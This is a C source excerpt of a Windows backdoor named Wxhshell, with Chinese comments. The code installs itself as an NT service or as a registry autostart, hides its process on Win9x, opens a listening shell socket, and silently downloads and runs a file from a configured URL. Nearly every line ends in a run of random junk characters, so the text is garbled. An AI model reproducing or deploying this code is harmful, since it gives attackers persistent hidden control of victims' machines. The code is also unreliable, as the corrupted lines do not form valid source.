ULONG InheritedFromUniqueProcessId; 6:EH5IO
} PROCESS_BASIC_INFORMATION; ^9*|_\3N
;&^"q{m
PROCNTQSIP NtQueryInformationProcess; }AsF\W+5
V\M!]Nnxr
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $W_o$'crW
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; + $a:X
U)w|GrxX
HANDLE hProcess; dzv,)X
PROCESS_BASIC_INFORMATION pbi; dYqDL<se/I
Tvx8l
m'
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ot+~|Dl
if(NULL == hInst ) return 0; 4^NHf|UJH
TnU$L3k
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gAUQQ
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s^t1PfP(,
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /GSI.tO
YlcF-a
if (!NtQueryInformationProcess) return 0; [ 6o:v8&3
ty< tv|p
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OYtus7q<
if(!hProcess) return 0; h7]]F{r5
MW[ 4^
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P[P72WR
VaIP
CloseHandle(hProcess); 0(g MR
0?Wf\7
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BG8)bhk;/
if(hProcess==NULL) return 0; |M/
\'pOe
+\Mm
(Nd
HMODULE hMod; }7z+
char procName[255]; R"t$N@ZFb
unsigned long cbNeeded; -*q2Y^A^l
udy;Odt
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FC(cXPX}
KC-aLq/
CloseHandle(hProcess); Ng39D#_)
j6HbJ#]
if(strstr(procName,"services")) return 1; // 以服务启动 coVT+we
\q1%d.\X
return 0; // 注册表启动 $q$\GOQ 9
} 5a_!&
@Be:+01z
// 主模块 }3_G|
int StartWxhshell(LPSTR lpCmdLine) _po 4(U&
{ 6ch[B`[h,
SOCKET wsl; 'htA! KHF
BOOL val=TRUE; RS02>$jo
int port=0; cH-Zj
struct sockaddr_in door; ^k<$N
g):jZU]b
if(wscfg.ws_autoins) Install(); ~%K(ou=2
*AQbXw]w
port=atoi(lpCmdLine); knzED~v@(
{-`OE
if(port<=0) port=wscfg.ws_port; `gs,JJ6N
RX\O'Zwl j
WSADATA data; ]b| @<E7Y
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H&IP>8Dk
_-\{kJ
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; jtr=8OiL
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <sB45sNbU`
door.sin_family = AF_INET; [eP]8G\
W
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Zs|sPatV<
door.sin_port = htons(port); #p`7gFl
d$~b`
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +`3ZH9
closesocket(wsl); @}!$NI8
return 1; =I}V PxhE7
} G.e\#_RR?
<ijmkNVS
if(listen(wsl,2) == INVALID_SOCKET) { ?R:Hj=.
closesocket(wsl); M=`Se&-M
return 1; ahv=HWX k
} {Dq51
Wxhshell(wsl); J vsB^F.4
WSACleanup(); ADz|Y~V!
D} 3fx[
return 0; qW >J-,61/
GTNTx5H
} #7ZBbq3=
8!>pFVNJf
// 以NT服务方式启动 3U$fMLx]k
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )
m:Abq`C
{ rWqA)j*!
DWORD status = 0; c?",kzo
DWORD specificError = 0xfffffff; %BLKB%5
\c}r6xOr
serviceStatus.dwServiceType = SERVICE_WIN32; "iGc'?/+
serviceStatus.dwCurrentState = SERVICE_START_PENDING; `VN<6o(
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u;g}N'"
serviceStatus.dwWin32ExitCode = 0; 9V\`{(R
serviceStatus.dwServiceSpecificExitCode = 0; ix`x dVj`
serviceStatus.dwCheckPoint = 0; 0eP~F2<bC
serviceStatus.dwWaitHint = 0; z\
pT+9&
O9)8a]
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M6!brj\[|
if (hServiceStatusHandle==0) return; ,-kZ5&r
Su #1yw>
status = GetLastError(); mJ7kOQ-.$
if (status!=NO_ERROR) >.4Sx~VH2
{ 6si-IJ
serviceStatus.dwCurrentState = SERVICE_STOPPED; C\D4C]/8
serviceStatus.dwCheckPoint = 0; Xii#Qtd.
serviceStatus.dwWaitHint = 0; 0in6z
serviceStatus.dwWin32ExitCode = status; u*`GIRfWT
serviceStatus.dwServiceSpecificExitCode = specificError; DlI|~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); N> Y3[G+
return; ]S ,GHPEN
} K?
k`U,
.Oh$sma1
serviceStatus.dwCurrentState = SERVICE_RUNNING; # 95/,k
serviceStatus.dwCheckPoint = 0; \gpKQt0
serviceStatus.dwWaitHint = 0; rC16?RovQ@
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 17d$gZ1O:
} % BKTN@;7
"o^zOU
// 处理NT服务事件,比如:启动、停止 H l@rS
VOID WINAPI NTServiceHandler(DWORD fdwControl) \O~7X0 <W
{ p?@D'
switch(fdwControl) >2/zL.O
{ WAbhBA
case SERVICE_CONTROL_STOP: *TkABUL
serviceStatus.dwWin32ExitCode = 0; i^l;PvIF
serviceStatus.dwCurrentState = SERVICE_STOPPED; <n{9pZ5.
serviceStatus.dwCheckPoint = 0; {5h_$a!TaU
serviceStatus.dwWaitHint = 0; _guY%2%yR
{ w5Xdq_e3
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ):@B1 yR
} RI=B(0A
return; \Wk$>?+#@
case SERVICE_CONTROL_PAUSE: O{V"'o
serviceStatus.dwCurrentState = SERVICE_PAUSED; VrK 5a9*^
break; I_rVeMw=
case SERVICE_CONTROL_CONTINUE: x&d<IU)5
serviceStatus.dwCurrentState = SERVICE_RUNNING; S0 `*
break; {PKER$C
case SERVICE_CONTROL_INTERROGATE: '4rgIs3=x"
break; \q>,c49a{
};
B|&<
SetServiceStatus(hServiceStatusHandle, &serviceStatus); $B2@mC([S
} ~cjvo?)&e;
N.?Wev{
// 标准应用程序主函数 'e@}N)IX
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ilP&ctn6+c
{ J98K:SAR
JY,+eD
// 获取操作系统版本 ]nh)FMo
OsIsNt=GetOsVer(); 'zaB5d~l
GetModuleFileName(NULL,ExeFile,MAX_PATH); _u0dt) $
K5$ y
// 从命令行安装 sAb|]Q((
if(strpbrk(lpCmdLine,"iI")) Install(); -]e@cevy
3]i1M%'i
// 下载执行文件 1X5\VY>S`h
if(wscfg.ws_downexe) { 62"ND+D4
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >&R|t_ypw
WinExec(wscfg.ws_filenam,SW_HIDE); ?S_S.Bd
} \0$?r4A
?6Gq &
if(!OsIsNt) { X:A\{^~
// 如果时win9x,隐藏进程并且设置为注册表启动 a'Z"Yz^Eo
HideProc(); TsQMwV_h
StartWxhshell(lpCmdLine); E=y#~W
} 6T-(GHzfHJ
else tua+R_"
if(StartFromService()) 7;XdTx
// 以服务方式启动 i[<O@Rb
StartServiceCtrlDispatcher(DispatchTable); .f}I$ "2
else SG~R!kN}Q
// 普通方式启动 e\89;)
StartWxhshell(lpCmdLine); 2eNm2;
WIg"m[aIs
return 0; ]OVjq?
}